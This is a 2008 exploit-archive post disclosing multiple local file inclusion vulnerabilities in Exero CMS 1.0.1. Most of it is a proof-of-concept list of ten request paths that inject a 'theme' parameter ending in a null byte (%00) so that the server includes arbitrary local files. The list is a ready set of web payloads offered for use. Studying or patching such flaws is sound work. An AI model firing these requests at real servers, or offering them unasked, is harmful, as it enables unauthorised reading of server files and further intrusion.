[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Exero CMS 1.0.1 (theme) Multiple Local File Inclusion Vulnerabilities
# Published : 2008-03-17
# Author : GoLd_M
# Previous Title : Easy-Clanpage 2.2 (id) Remote SQL Injection Vulnerability
# Next Title : PHPauction GPL Enhanced 2.51 Multiple RFI Vulnerabilities
Exero CMS 1.0.1 (theme) Multiple Local File Inclusion Vulnerabilities
Script : http://switch.dl.sourceforge.net/sourceforge/exerocms/Exero_CMS_1-0-1.rar
Home Page : http://ecms.getox.net/
POC :
/Exero_CMS_1-0-1/themes/Default/usercp/index.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/usercp/editpassword.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/usercp/avatar.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/custompage.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/errors/404.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/members/memberslist.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/members/profile.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/news/index.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/news/fullview.php?theme=Local File %00
/Exero_CMS_1-0-1/themes/Default/nopermission.php?theme=Local File %00
# www.Syue.com [2008-03-17]